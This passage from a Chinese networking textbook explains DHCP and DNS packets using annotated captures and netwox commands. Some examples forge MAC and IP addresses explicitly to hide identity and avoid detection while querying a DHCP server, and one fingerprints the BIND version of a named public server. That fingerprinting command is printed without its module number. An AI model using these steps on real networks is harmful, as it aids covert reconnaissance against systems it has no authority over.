    Client MAC address: Vmware_db:3f:0a (00:0c:29:db:3f:0a)
    Client hardware address padding: 00000000000000000000
    Server host name not given
    Boot file name not given
    Magic cookie: DHCP
    Option: (53) DHCP Message Type (Offer)
        Length: 1
        DHCP: Offer (2)
    Option: (54) DHCP Server Identifier
        Length: 4
        DHCP Server Identifier: 192.168.0.1             #DNS服务器标识地址为192.168.0.1
    Option: (51) IP Address Lease Time
        Length: 4
        IP Address Lease Time: (7200s) 2 hours
    Option: (1) Subnet Mask                             #服务器分配给客户端的子网掩码
        Length: 4
        Subnet Mask: 255.255.255.0                      #子网掩码为255.255.255.0
    Option: (3) Router
        Length: 4
        Router: 192.168.0.1
    Option: (6) Domain Name Server
        Length: 4
        Domain Name Server: 192.168.0.1
    Option: (255) End
        Option End: 255
    Padding: 000000000000000000000000000000000000000000000000...



其中只标注了几个重要字段的信息。由于是DHCP服务器给DHCP客户端发送提供的地址信息。因此，报文中应该包含DHCP服务器提供给客户端的IP地址信息，这里为192.168.0.108；提供给客户端的子网掩码信息这里为255.255.255.0。事务ID为0x597c6b82，与DHCP Discover报文中的事务ID相同，因此属于同一请求地址过程。

另外，可以看到服务器标识地址为192.168.0.1，所以捕获的数据包的源IP地址为192.168.0.1。目标地址为提供的IP地址192.168.0.108。


8.3.3　DHCP Request报文

DHCP Request报文数据包如图8.10所示。
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图8.10　DHCP Request报文

DHCP Request报文数据包是DHCP客户端向网络中所有DHCP服务器主机发出的DHCP Request消息。由于此时客户端还没有真正拥有IP地址，因此源IP地址仍然为0.0.0.0，该数据包是用来通知所有服务器的，以广播形式发出，因此目标IP地址为255.255.255.255。报文字段信息如下：



Bootstrap Protocol (Request)
    Message type: Boot Request (1)                                #报文的操作类型，这是一个请求包，所以该选项的值为1
    Hardware type: Ethernet (0x01)
    Hardware address length: 6
    Hops: 0
    Transaction ID: 0x597c6b82                                    #事务ID
    Seconds elapsed: 0
    Bootp flags: 0x0000 (Unicast)
    Client IP address: 0.0.0.0                                    #客户端IP地址
    Your (client) IP address: 0.0.0.0
    Next server IP address: 0.0.0.0
    Relay agent IP address: 0.0.0.0
    Client MAC address: Vmware_db:3f:0a (00:0c:29:db:3f:0a)
    Client hardware address padding: 00000000000000000000
    Server host name not given
    Boot file name not given
    Magic cookie: DHCP
    Option: (53) DHCP Message Type (Request)
        Length: 1
        DHCP: Request (3)
    Option: (61) Client identifier
    Length: 7
    Hardware type: Ethernet (0x01)
    Client MAC address: Vmware_db:3f:0a (00:0c:29:db:3f:0a)
    Option: (50) Requested IP Address
    Length: 4
    Requested IP Address: 192.168.0.108                           #客户端选择租用的IP地址为192.168.0.108
    …                                                             #省略部分信息



其中，事务ID与DHCP Discover、DHCP Offer阶段的事务ID相同，从输出信息还可以看到客户端请求的IP地址为192.168.0.108，表示要向该DHCP服务器租用地址。


8.3.4　DHCP ACK报文

DHCP ACK报文数据包如图8.11所示。
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图8.11　DHCP ACK报文

DHCP ACK数据包是DHCP服务器给客户端发送的确认数据包。报文字段信息如下：



Bootstrap Protocol (ACK)
    Message type: Boot Reply (2)                            #报文的操作类型，这是一个响应包，所以该选项的值为2
    Hardware type: Ethernet (0x01)
    Hardware address length: 6
    Hops: 0
    Transaction ID: 0x597c6b82                              #事务ID
    Seconds elapsed: 0
    Bootp flags: 0x0000 (Unicast)
    Client IP address: 0.0.0.0
    Your (client) IP address: 192.168.0.108                 #客户端可以使用的IP地址为192.168.0.108
    Next server IP address: 0.0.0.0
    Relay agent IP address: 0.0.0.0
    Client MAC address: Vmware_db:3f:0a (00:0c:29:db:3f:0a)
    Client hardware address padding: 00000000000000000000
    Server host name not given
    Boot file name not given
    Magic cookie: DHCP
    Option: (53) DHCP Message Type (ACK)
        Length: 1
        DHCP: ACK (5)
    Option: (54) DHCP Server Identifier
        Length: 4
        DHCP Server Identifier: 192.168.0.1
    Option: (51) IP Address Lease Time
        Length: 4
        IP Address Lease Time: (7200s) 2 hours
    Option: (1) Subnet Mask                                #客户端可以使用的子网掩码
        Length: 4
        Subnet Mask: 255.255.255.0                         #子网掩码为255.255.255.0
    Option: (3) Router
        Length: 4
        Router: 192.168.0.1
    Option: (6) Domain Name Server
        Length: 4
        Domain Name Server: 192.168.0.1
    Option: (255) End
        Option End: 255
    Padding: 000000000000000000000000000000000000000000000000...



以上输出信息是服务器给客户端提供租约地址的确认包。其中，客户端可以使用的租约IP地址为192.168.0.108；可以使用的子网掩码为255.255.255.0。


8.4　DHCP协议应用——获取IP地址

默认情况下，都是由操作系统完成IP地址请求过程的。用户也可以手动请求IP地址。netwox工具提供了编号为171的模块，它可以充当DHCP客户端向DHCP服务器请求IP地址。

【实例8-1】模拟DHCP客户端从DHCP服务器获取IP地址。执行命令如下：



root@daxueba:~# netwox 171



执行命令后将完成获取IP地址的整个过程，并输出每个过程相关的信息。为了方便讲解，下面将信息进行拆分，然后分别讲解。

（1）发现阶段的输出信息如下：



I send a DISCOVER:
DHCP____________________________________________________________.
| op=request  hops=0    xid=B8ED8552  secs=0      flags=0000                |
| client=0.0.0.0  your=0.0.0.0                                              |
| server=0.0.0.0  agent=0.0.0.0                                             |
| clienteth=00:0C:29:FD:DE:B8                                               |
| sname:                                                                    |
| file:                                                                     |
| msgtype: discover                                                         |
| clientidtype: 1                                                           |
| clientid: 000c29fddeb8                                                    |
| reqlist[0]: 1 (subnetmask)                                                |
                                                       #下面为客户端要请求的列表信息
| reqlist[1]: 3 (gateways)                                                  |
| reqlist[2]: 4 (timeservers)                                               |
| reqlist[3]: 5 (nameservers)                                               |
| reqlist[4]: 6 (dnsservers)                                                |
| reqlist[5]: 7 (logservers)                                                |
| reqlist[6]: 9 (lprservers)                                                |
| reqlist[7]: 12 (hostname)                                                 |
| reqlist[8]: 15 (domainname)                                               |
| reqlist[9]: 28 (broadcastad)                                              |
| reqlist[10]: 31 (performroutdisc)                                         |
| reqlist[11]: 33 (staticroutes)                                            |
| reqlist[12]: 40 (nisdomain)                                               |
| reqlist[13]: 41 (nisservers)                                              |
| reqlist[14]: 51 (ipadleasetime)                                           |
| reqlist[15]: 58 (renewaltime)                                             |
| reqlist[16]: 59 (rebindingtime)                                           |
| reqlist[17]: 64 (nispdomain)                                              |
| reqlist[18]: 65 (nispserver)                                              |
| reqlist[19]: 69 (smtpservers)                                             |
| reqlist[20]: 70 (pop3servers)                                             |
| reqlist[21]: 71 (nntpservers)                                             |
| reqlist[22]: 72 (wwwservers)                                              |
| reqlist[23]: 74 (ircservers)                                              |
|___________________________________________________________      |



以上输出信息中，第1行表示客户端发送了一个Discover包，用来向服务器请求租用的IP地址。下面的信息为对应的报文信息。其中，xid表示事务ID为B8ED8552，client表示客户端IP地址为0.0.0.0，your表示此时客户端还没有IP地址，因此也为0.0.0.0。

（2）提供阶段的输出信息如下：



Server sent us this OFFER:
DHCP____________________________________________________________.
| op=reply   hops=0    xid=B8ED8552  secs=0      flags=0000     |
| client=0.0.0.0  your=192.168.59.131                           |
| server=192.168.59.254  agent=0.0.0.0                          |
| clienteth=00:0C:29:FD:DE:B8                                   |
| sname:                                                        |
| file:                                                         |
| msgtype: offer                                                |
| serverid: 192.168.59.254                                      |
| ipadleasetime: 1800                                           |
| subnetmask: 255.255.255.0                                     |      #子网掩码
| gateways[0]: 192.168.59.2                                     |      #网关
| dnsservers[0]: 192.168.59.2                                   |      #DNS服务器地址
| domainname: 'localdomain'                                     |      #域名
| broadcastad: 192.168.59.255                                   |      #广播地址
| renewaltime: 900                                              |      #更新时间
| rebindingtime: 1575                                           |      #重新连接时间
| end                                                           |
|_____________________________________________________          |
Server 192.168.59.254(00:50:56:ED:87:BC) proposes address 192.168.59.131



以上输出信息中，第1行表示服务器向客户端返回了提供IP地址租约的数据包。下面的信息为对应的报文信息。其中，xid表示事务ID为B8ED8552，与发现阶段事务ID相同；your表示服务器给客户端提供的IP地址为192.168.59.131；server表示此时服务器的IP地址为192.168.59.254。从输出信息中还可以看到服务器为客户端提供的子网掩码、网关、DNS服务器地址等信息。输出信息的最后一行为总结信息，表示服务器192.168.59.254为客户端提供的IP地址为192.168.59.131。

（3）选择阶段的输出信息如下：



I accept previous OFFER:
DHCP____________________________________________________________.
| op=request  hops=0    xid=B8ED8552  secs=0      flags=0000    |
| client=0.0.0.0  your=0.0.0.0                                  |
| server=0.0.0.0  agent=0.0.0.0                                 |
| clienteth=00:0C:29:FD:DE:B8                                   |
| sname:                                                        |
| file:                                                         |
| msgtype: request                                              |
| clientidtype: 1                                               |
| clientid: 000c29fddeb8                                        |
| requestedipad: 192.168.59.131                                 |      #选择请求的IP地址
| serverid: 192.168.59.254                                      |      #服务器IP地址
| reqlist[0]: 1 (subnetmask)                                    |      #下面为请求的其他信息
| reqlist[1]: 3 (gateways)                                      |
| reqlist[2]: 4 (timeservers)                                   |
| reqlist[3]: 5 (nameservers)                                   |
| reqlist[4]: 6 (dnsservers)                                    |
| reqlist[5]: 7 (logservers)                                    |
| reqlist[6]: 9 (lprservers)                                    |
| reqlist[7]: 12 (hostname)                                     |
| reqlist[8]: 15 (domainname)                                   |
| reqlist[9]: 28 (broadcastad)                                  |
| reqlist[10]: 31 (performroutdisc)                             |
| reqlist[11]: 33 (staticroutes)                                |
| reqlist[12]: 40 (nisdomain)                                   |
| reqlist[13]: 41 (nisservers)                                  |
| reqlist[14]: 51 (ipadleasetime)                               |
| reqlist[15]: 58 (renewaltime)                                 |
| reqlist[16]: 59 (rebindingtime)                               |
| reqlist[17]: 64 (nispdomain)                                  |
| reqlist[18]: 65 (nispserver)                                  |
| reqlist[19]: 69 (smtpservers)                                 |
| reqlist[20]: 70 (pop3servers)                                 |
| reqlist[21]: 71 (nntpservers)                                 |
| reqlist[22]: 72 (wwwservers)                                  |
| reqlist[23]: 74 (ircservers)                                  |
|_________________________________________________              |



以上输出信息中，第1行表示客户端接收了服务器提供的地址租约。下面的信息为对应的报文信息。其中，xid表示事务ID为B8ED8552；由于客户端选择了要请求的IP地址，但是没有真正获取到IP地址，因此client和your均为0.0.0.0；requestedipad表示客户端选择的IP地址为192.168.59.131。serverid表示服务器的IP地址为192.168.59.254。

（4）确认阶段的输出信息如下：



Server sent us this ACK:
DHCP____________________________________________________________.
| op=reply   hops=0    xid=B8ED8552  secs=0      flags=0000   |
| client=0.0.0.0  your=192.168.59.131                         |
| server=192.168.59.254  agent=0.0.0.0                        |
| clienteth=00:0C:29:FD:DE:B8                                 |
| sname:                                                      |
| file:                                                       |
| msgtype: ack                                                |
| serverid: 192.168.59.254                                    |
| ipadleasetime: 1800                                         |
| subnetmask: 255.255.255.0                                   |      #客户端的子网掩码
| gateways[0]: 192.168.59.2                                   |      #客户端的网关
| dnsservers[0]: 192.168.59.2                                 |      #客户端的DNS服务器
| domainname: 'localdomain'                                   |
| broadcastad: 192.168.59.255                                 |
| renewaltime: 900                                            |
| rebindingtime: 1575                                         |
| end                                                         |
|_________________________________________________            |
Server 192.168.59.254(00:50:56:ED:87:BC) gave address 192.168.59.131
Press q to quit.



以上输出信息中，第1行表示服务器确认了客户端要租约的IP地址信息，客户端可以使用请求的IP地址了。下面的信息为对应的报文信息。其中，your表示客户端可以租用的IP地址为192.168.59.131；其他信息给出了客户端使用的子网掩码、网关、DNS服务器地址等。输出的最后一行信息表示用户可以使用快捷键q退出。如果退出，则客户端将不再租用这个IP地址，会释放该地址。

（5）为了确认模拟客户端从服务器上是否获取到了IP地址，可以通过抓包进行验证，如图8.12所示。其中的4个数据包就是获取IP地址的4个阶段的数据包。
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图8.12　捕获的数据包

（6）如果使用了快捷键q退出，将产生释放地址的数据包。输出信息如下：



I RELEASE the address:
DHCP__________________________________________________________.
| op=request  hops=0    xid=CC6236A1  secs=0      flags=0000          |
| client=192.168.59.131  your=0.0.0.0                                 |
| server=0.0.0.0  agent=0.0.0.0                                       |
| clienteth=00:0C:29:FD:DE:B8                                         |
| sname:                                                              |
| file:                                                               |
| msgtype: release                                                    |
| serverid: 192.168.59.254                                            |
| clientidtype: 1                                                     |
| clientid: 000c29fddeb8                                              |
|___________________________________________________________          |



以上输出信息，第1行表示客户端释放了IP地址。下面的信息为对应的报文信息。其中，xid的值为CC6236A1，这与获取IP地址时所产生的事务ID不同；client表示客户端要释放的IP地址为192.168.59.131。

（7）通过抓包捕获的释放地址数据包如图8.13所示。
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图8.13　释放地址数据包

（8）从DHCP服务器上获取IP地址时，为了隐藏真实的MAC地址，可以伪造虚假MAC地址。例如，设置假MAC地址为01：02：03：A1：A2：A3。执行命令如下：



root@daxueba:~# netwox 171 -e 01:02:03:a1:a2:a3



输出信息如下：



I send a DISCOVER:
DHCP____________________________________________________________.
| op=request  hops=0    xid=BDC49614  secs=0      flags=0000                |
| client=0.0.0.0  your=0.0.0.0                                              |
| server=0.0.0.0  agent=0.0.0.0                                             |
| clienteth=01:02:03:A1:A2:A3                                               |
···                                                      #省略其他信息



从输出信息报文中可以看到，此时客户端的MAC地址为假的地址01：02：03：A1：A2：A3。


8.5　DHCP协议应用——获取DHCP服务器信息

如果客户端有了IP地址，将不再发送DHCP Discover包。这时，如果要获取网络内DHCP服务器信息，可以使用netwox提供的编号为179的模块来实现。该模块通过向DHCP服务器广播发送一个DHCP INFORM包，以获取相关的配置参数。DHCP服务器接收到该数据包后，将根据租约查找相应的配置信息，并返回一个DHCP ACK消息。该消息包括相应的客户配置参数，但不包括分配的网络地址。

【实例8-2】获取DHCP服务器详细的网络配置信息，执行命令如下：



root@daxueba:~# netwox 179



执行命令后将向DHCP服务器广播发送INFORM报文，同时会得到DHCP服务器返回的ACK报文。为了方便讲解，下面将信息进行拆分后分别讲解。

（1）发送的INFORM报文信息的输出信息如下：



I send a INFORM:
DHCP____________________________________________________________.
| op=request  hops=0    xid=52FEF936  secs=0    flags=0000   |
| client=192.168.59.133  your=0.0.0.0                        |
| server=0.0.0.0  agent=0.0.0.0                              |
| clienteth=00:0C:29:FD:DE:B8                                |      #客户端MAC地址
| sname:                                                     |
| file:                                                      |
| msgtype: inform                                            |
| clientidtype: 1                                            |
| clientid: 000c29fddeb8                                     |
| reqlist[0]: 1 (subnetmask)                                 |      #请求的网络配置信息
| reqlist[1]: 3 (gateways)                                   |
| reqlist[2]: 4 (timeservers)                                |
| reqlist[3]: 5 (nameservers)                                |
| reqlist[4]: 6 (dnsservers)                                 |
| reqlist[5]: 7 (logservers)                                 |
| reqlist[6]: 9 (lprservers)                                 |
| reqlist[7]: 12 (hostname)                                  |
| reqlist[8]: 15 (domainname)                                |
| reqlist[9]: 28 (broadcastad)                               |
| reqlist[10]: 31 (performroutdisc)                          |
| reqlist[11]: 33 (staticroutes)                             |
| reqlist[12]: 40 (nisdomain)                                |
| reqlist[13]: 41 (nisservers)                               |
| reqlist[14]: 51 (ipadleasetime)                            |
| reqlist[15]: 58 (renewaltime)                              |
| reqlist[16]: 59 (rebindingtime)                            |
| reqlist[17]: 64 (nispdomain)                               |
| reqlist[18]: 65 (nispserver)                               |
| reqlist[19]: 69 (smtpservers)                              |
| reqlist[20]: 70 (pop3servers)                              |
| reqlist[21]: 71 (nntpservers)                              |
| reqlist[22]: 72 (wwwservers)                               |
| reqlist[23]: 74 (ircservers)                               |
|_______________________________________________             |



以上输出信息中，第1行表示DHCP客户端向DHCP服务器发送了INFORM报文，用来请求网络配置信息。下面的信息为报文包含的信息。其中，xid表示事务ID为52FEF936；client表示当前客户端的IP地址为192.168.59.133；clienteth表示当前客户端的MAC地址为00：0C：29：FD：DE：B8。

（2）客户端收到DHCP服务器返回的ACK报文，并输出如下信息：



Server sent us this ACK:
DHCP____________________________________________________________.
| op=reply   hops=0    xid=52FEF936  secs=0      flags=0000    |
| client=192.168.59.133  your=0.0.0.0                          |
| server=192.168.59.254  agent=0.0.0.0                         |
| clienteth=00:0C:29:FD:DE:B8                                  |
| sname:                                                       |
| file:                                                        |
| msgtype: ack                                                 |
| serverid: 192.168.59.254                                     |      #服务器IP地址
| subnetmask: 255.255.255.0                                    |      #子网掩码
| gateways[0]: 192.168.59.2                                    |      #网关
| dnsservers[0]: 192.168.59.2                                  |      #DNS服务地址
| domainname: 'localdomain'                                    |      #域名
| broadcastad: 192.168.59.255                                  |      #广播地址
| end                                                          |
|____________________________________________________          |



以上输出信息中，第1行表示DHCP返回了ACK报文。其中，xid的值也为52FEF936，子网掩码为255.255.255.0，网关为192.168.59.2。

（3）为了验证该命令发送的数据包，下面通过抓包进行查看，如图8.14所示。

在获取DHCP服务器信息时，为了避免被发现，可以伪造IP地址和MAC地址。例如，设置IP地址为192.168.59.150，MAC地址为b1：b2：b3：0a：1a：3a。执行命令如下：



root@daxueba:~# netwox 179 -i 192.168.59.150 -e b1:b2:b3:0a:1a:3a
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图8.14　捕获的数据包

输出信息如下：



I send a INFORM:
DHCP____________________________________________________________.
| op=request  hops=0    xid=5D72AD9C  secs=0      flags=0000                |
| client=192.168.59.150  your=0.0.0.0                                       |
| server=0.0.0.0  agent=0.0.0.0                                             |
| clienteth=B1:B2:B3:0A:1A:3A
…                                                      #省略其他信息



其中，客户端的IP地址为伪造的地址192.168.59.150，客户端的MAC地址为伪造的址B1：B2：B3：0A：1A：3A。


第9章　DNS协议

域名系统（Domain Name System，DNS）是将域名转化为IP地址的网络协议。当用户在浏览器中输入域名后，浏览器会向DNS服务器发送DNS请求，获取指定域名的IP地址。DNS服务器收到请求包后，会发送响应包，返回对应的IP地址。浏览器根据响应包中的IP地址，访问对应的网站。本章将详细讲解DNS协议的构成。


9.1　域名

域名（Domain Name）是用来表示Internet上某个计算机或计算机组的名称，用于在数据传输时标识计算机的地理位置。下面介绍域名的作用、结构及分类。


9.1.1　域名的作用

在TCP/IP网络中，计算机要进行通信首先需要从DHCP服务器上获取IP地址，然后基于IP地址进行通信。由于IP地址是由一串数字序列组成，所以难以记忆。并且，计算机的IP地址往往不是固定的，是经常变化的。因此，直接使用IP地址进行通信有很多不便之处。为了避免这些不便，可以为每台计算机赋予唯一的名称，即域名。计算机之间可以使用域名进行通信。


9.1.2　域名的结构

一个完整的域名由2个或2个以上的部分组成，各部分之间用英文的句号.来分隔，每个部分的长度限制是63个字符，域名总长度则不能超过253个字符。


9.1.3　域名的分类

域名系统采用层次结构按地理域或机构域进行分层，用小数点将各个层次隔开，从右到左依次为最高域名段、次高域名段等，最左的一个字段为主域名（主机名）。所以，域名可以按照级别和类型进行分类。

1.域名级别

由于域名是使用.进行分隔的，所以通过.对域名进行级别分类。最后一个.的右边部分称为顶级域名（TLD，也称为一级域名），左边部分称为二级域名（SLD）；二级域名的左边部分称为三级域名，以此类推。每一级的域名控制它下一级域名的分配。例如，163.com是一级域名，而house.163.com是二级域名。

2.域名类型

由于域名是用来标识唯一的名称，因此可以通过类型进行分类。常见的域名及对应关系如下。

·国际域名：.com、.top、.net、.org、.cc和.tv等。

·国家/地区域名：cn（中国大陆）、de（德国）、jp（日本）、hk（中国香港）、tw（中国台湾）、uk（英国）和us（美国）等。

·机构域名：gov（政府部门）、mil（军事部门）、com（商业性的机构或公司）等。


9.2　域名解析

域名解析就是将域名转化为对应的IP地址。该工作由DNS服务器完成。本节将讲解域名解析的相关知识。


9.2.1　DNS资源记录

在DNS服务器上，一个域名及其下级域名组成一个区域。相关的DNS信息构成一个数据库文件。所以每个区域数据库文件都是由资源记录构成的，一个资源记录就是一行文本，提供了一组有用的DNS配置信息。常见的资源记录类型如表9.1所示。

表9.1　资源记录类型及内容
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9.2.2　实施DNS查询请求

用户通过浏览器访问网站，一般情况下在浏览器中输入网站的域名，浏览器向DNS服务器发送DNS请求，请求域名对应的IP地址。DNS服务器查询到IP地址以后，将IP地址返回给浏览器，浏览器通过该IP地址访问网站。上述这些操作都是浏览器自动完成的。在请求IP地址过程中，可能会返回多个对应的IP地址，或者可以通过多个域名服务器进行解析。这些信息用户都不可能知晓。为了了解这些信息，可以使用netwox工具中编号为102的模块，实施DNS查询请求，并得到对应的信息。

【实例9-1】已知一个DNS查询服务器的IP地址为192.168.59.2，通过该DNS服务器查询域名baidu.com的IP地址信息。执行命令如下：



root@daxueba:~# netwox 102 -i 192.168.59.2 -n baidu.com -y a



其中，-y选项用来指定DNS资源类型，这里要根据域名查询IP地址，指定资源类型为a。执行命令后，将会发送DNS请求。若DNS服务器存在，将会返回对应的DNS响应信息，显示查询的IP地址。为了方便介绍，下面将信息拆分分别讲解。

（1）发送的DNS请求信息如下：



DNS_question______________________________________________________.
| id=49550  rcode=OK             opcode=QUERY                       |
| aa=0 tr=0 rd=0 ra=0  quest=1  answer=0  auth=0  add=0             |
| baidu.com. A                                                      |
|_____________________________________________________________      |



以上输出信息中的第1行表示，该部分的信息是DNS请求信息。在最后一行中，baidu.com表示进行查询的域名；A表示DNS查询所使用的类型域，获取域名对应的IPv4地址。

（2）返回的DNS响应信息，如下：



DNS_answer____________________________________________________.
| id=49550  rcode=OK             opcode=QUERY           |
| aa=0 tr=0 rd=1 ra=1  quest=1  answer=2  auth=5  add=5 |
| baidu.com. A                                          |
| baidu.com. A 5 123.125.115.110                |      #域名及对应的IP地址
| baidu.com. A 5 220.181.57.216                 |      #域名及对应的IP地址
| baidu.com. NS 5 ns2.baidu.com.                |      #解析域名的权威名称服务器
| baidu.com. NS 5 ns7.baidu.com.                |      #解析域名的权威名称服务器
| baidu.com. NS 5 ns3.baidu.com.                |      #解析域名的权威名称服务器
| baidu.com. NS 5 dns.baidu.com.                |      #解析域名的权威名称服务器
| baidu.com. NS 5 ns4.baidu.com.                |      #解析域名的权威名称服务器
| dns.baidu.com. A 5 202.108.22.220             |      #权威名称服务器的IP地址
| ns2.baidu.com. A 5 61.135.165.235             |      #权威名称服务器的IP地址
| ns3.baidu.com. A 5 220.181.37.10              |      #权威名称服务器的IP地址
| ns4.baidu.com. A 5 220.181.38.10              |      #权威名称服务器的IP地址
| ns7.baidu.com. A 5 180.76.76.92               |      #权威名称服务器的IP地址
|_____________________________________________  |



以上输出信息中的第1行表示，该部分的信息是DNS响应信息。下面信息为报文信息，含义如下：

·rd=1：表示期待递归。

·ra=1：表示服务器支持递归查询。

·quest=1：表示当前有一个请求。

·answer=2：表示查询的域名对应的IP地址有两个结果。

·auth=5：表示查询到有5个权威名称，服务器可以解析该域名。

·add=5：表示权威名称，服务器对应的IP地址信息。

从下面的输出信息可以看出，域名baidu.com有两个对应的IP地址123.125.115.110和220.181.57.216；该域名有5个权威名称服务器，如ns2.baidu.com，其对应的IP地址为61.135.165.235。

（3）为了验证成功进行了DNS查询请求，并得到了对应的IP地址信息，可以通过抓包查看，如图9.1所示。图中第4个数据包为实施域名请求的DNS查询数据包，源地址为192.168.59.133，是当前主机的真实IP地址。第5个数据包为对应的响应包。
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图9.1　实施域名请求


9.2.3　域名解析流程

域名解析就是查询域名对应的IP地址，域名解析流程如图9.2所示。

图9.2中分8个步骤介绍了域名解析的流程，每个步骤如下：

（1）客户端通过浏览器访问域名为www.baidu.com
 的网站，发起查询该域名的IP地址的DNS请求。该请求发送到了本地DNS服务器上。本地DNS服务器会首先查询它的缓存记录，如果缓存中有此条记录，就可以直接返回结果。如果没有，本地DNS服务器还要向DNS根服务器进行查询。

（2）本地DNS服务器向根服务器发送DNS请求，请求域名为www.baidu.com
 的IP地址。

（3）根服务器经过查询，没有记录该域名及IP地址的对应关系。但是会告诉本地DNS服务器，可以到域名服务器上继续查询，并给出域名服务器的地址（.com服务器）。

（4）本地DNS服务器向.com服务器发送DNS请求，请求域名www.baidu.com
 的IP地址。

（5）.com服务器收到请求后，不会直接返回域名和IP地址的对应关系，而是告诉本地DNS服务器，该域名可以在baidu.com域名服务器上进行解析获取IP地址，并告诉baidu.com域名服务器的地址。
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图9.2　域名解析流程

（6）本地DNS服务器向baidu.com域名服务器发送DNS请求，请求域名www.baidu.com
 的IP地址。

（7）baidu.com服务器收到请求后，在自己的缓存表中发现了该域名和IP地址的对应关系，并将IP地址返回给本地DNS服务器。

（8）本地DNS服务器将获取到与域名对应的IP地址返回给客户端，并且将域名和IP地址的对应关系保存在缓存中，以备下次别的用户查询时使用。


9.2.4　获取运行BIND的DNS服务器版本

BIND是一种开源的DNS（Domain Name System）服务器软件，包含对域名的查询和响应所需的所有功能。它是互联网上使用最广泛的一种DNS服务器。为了能够获取运行BIND软件的DNS服务器的版本，netwox提供了编号为103的模块来实现。

【实例9-2】已知拥有BIND软件的DNS服务器的IP地址为162.248.241.94，获取该服务器的版本信息。执行命令如下：



root@daxueba:~# netwox 162.248.241.94



输出信息如下：



9.10.3-P4-Debian



上述输出信息表示DNS服务器的版本为9.10.3-P4-Debian。


9.3　DNS报文格式

DNS分为查询请求和查询响应，请求和响应的报文结构基本相同。DNS报文格式如图9.3所示。
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图9.3　DNS报文格式

图9.3中显示了DNS的报文格式。其中，事务ID、标志、问题计数、回答资源记录数、权威名称服务器计数、附加资源记录数这6个字段是DNS的报文首部，共12个字节。整个DNS格式主要分为3部分内容，即基础结构部分、问题部分、资源记录部分。下面将详细地介绍每部分的内容及含义。


9.3.1　基础结构部分

DNS报文的基础结构部分指的是报文首部，如图9.4所示。
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图9.4　基础结构部分

该部分中每个字段含义如下。

·事务ID：DNS报文的ID标识。对于请求报文和其对应的应答报文，该字段的值是相同的。通过它可以区分DNS应答报文是对哪个请求进行响应的。

·标志：DNS报文中的标志字段。

·问题计数：DNS查询请求的数目。

·回答资源记录数：DNS响应的数目。

·权威名称服务器计数：权威名称服务器的数目。

·附加资源记录数：额外的记录数目（权威名称服务器对应IP地址的数目）。

基础结构部分中的标志字段又分为若干个字段，如图9.5所示。
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图9.5　标志字段信息

标志字段中每个字段的含义如下：

·QR（Response）：查询请求/响应的标志信息。查询请求时，值为0；响应时，值为1。

·Opcode：操作码。其中，0表示标准查询；1表示反向查询；2表示服务器状态请求。

·AA（Authoritative）：授权应答，该字段在响应报文中有效。值为1时，表示名称服务器是权威服务器；值为0时，表示不是权威服务器。

·TC（Truncated）：表示是否被截断。值为1时，表示响应已超过512字节并已被截断，只返回前512个字节。

·RD（Recursion Desired）：期望递归。该字段能在一个查询中设置，并在响应中返回。该标志告诉名称服务器必须处理这个查询，这种方式被称为一个递归查询。如果该位为0，且被请求的名称服务器没有一个授权回答，它将返回一个能解答该查询的其他名称服务器列表。这种方式被称为迭代查询。

·RA（Recursion Available）：可用递归。该字段只出现在响应报文中。当值为1时，表示服务器支持递归查询。

·Z：保留字段，在所有的请求和应答报文中，它的值必须为0。

·rcode（Reply code）：返回码字段，表示响应的差错状态。当值为0时，表示没有错误；当值为1时，表示报文格式错误（Format error），服务器不能理解请求的报文；当值为2时，表示域名服务器失败（Server failure），因为服务器的原因导致没办法处理这个请求；当值为3时，表示名字错误（Name Error），只有对授权域名解析服务器有意义，指出解析的域名不存在；当值为4时，表示查询类型不支持（Not Implemented），即域名服务器不支持查询类型；当值为5时，表示拒绝（Refused），一般是服务器由于设置的策略拒绝给出应答，如服务器不希望对某些请求者给出应答。

为了能够更好地了解DNS数据包的基础结构部分，下面通过捕获的DNS数据包查看基础结构部分。

（1）DNS请求数据包基础结构部分，如图9.6所示。
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图9.6　请求报文的基础结构部分

图中的数据包为DNS请求包，Domain Name System(query)部分方框标注中的信息为DNS报文中的基础结构部分。为了方便讲解这里将信息列出进行说明：



Domain Name System (query)
    Transaction ID: 0x9ad0                              #事务ID
    Flags: 0x0000 Standard query                        #报文中的标志字段
        0... .... .... .... = Response: Message is a query
                                                        #QR字段，值为0，因为是一个请求包
        .000 0... .... .... = Opcode: Standard query (0)
                                                        #Opcode字段，值为0，因为是标准查询
        .... ..0. .... .... = Truncated: Message is not truncated 
                                                        #TC字段
        .... ...0 .... .... = Recursion desired: Don't do query recursively  
                                                        #RD字段
        .... .... .0.. .... = Z: reserved (0)           #保留字段，值为0
        .... .... ...0 .... = Non-authenticated data: Unacceptable    
                                                        #保留字段，值为0
    Questions: 1                                        #问题计数，这里有1个问题
    Answer RRs: 0                                       #回答资源记录数
    Authority RRs: 0                                    #权威名称服务器计数
    Additional RRs: 0                                   #附加资源记录数



以上输出信息显示了DNS请求报文中基础结构部分中包含的字段以及对应的值。这里需要注意的是，在请求中Questions的值不可能为0；Answer RRs，Authority RRs，Additional RRs的值都为0，因为在请求中还没有响应的查询结果信息。这些信息在响应包中会有相应的值。

（2）DNS响应数据包基础结构部分如图9.7所示。
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图9.7　响应报文的基础结构部分

图中方框标注部分为响应包中基础结构部分，每个字段如下：



Domain Name System (response)
    Transaction ID: 0x9ad0                                    #事务ID
    Flags: 0x8180 Standard query response, No error           #报文中的标志字段
        1... .... .... .... = Response: Message is a response 
                                                              #QR字段，值为1，因为是一个响应包
        .000 0... .... .... = Opcode: Standard query (0)      # Opcode字段
        .... .0.. .... .... = Authoritative: Server is not an authority for
        domain                                                #AA字段
        .... ..0. .... .... = Truncated: Message is not truncated
                                                              #TC字段
        .... ...1 .... .... = Recursion desired: Do query recursively  
                                                              #RD字段
        .... .... 1... .... = Recursion available: Server can do recursive
        queries                                               #RA字段
        .... .... .0.. .... = Z: reserved (0)
        .... .... ..0. .... = Answer authenticated: Answer/authority portion
        was not authenticated by the server
        .... .... ...0 .... = Non-authenticated data: Unacceptable
        .... .... .... 0000 = Reply code: No error (0)        #返回码字段
    Questions: 1
    Answer RRs: 2
    Authority RRs: 5
    Additional RRs: 5



以上输出信息中加粗部分为DNS响应包比请求包中多出来的字段信息，这些字段信息只能出现在响应包中。在输出信息最后可以看到Answer RRs，Authority RRs，Additional RRs都有了相应的值（不一定全为0）。


9.3.2　问题部分

问题部分指的是报文格式中查询问题区域（Queries）部分。该部分是用来显示DNS查询请求的问题，通常只有一个问题。该部分包含正在进行的查询信息，包含查询名（被查询主机名字）、查询类型、查询类。问题部分格式如图9.8所示。
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图9.8　问题部分格式

该部分中每个字段含义如下：

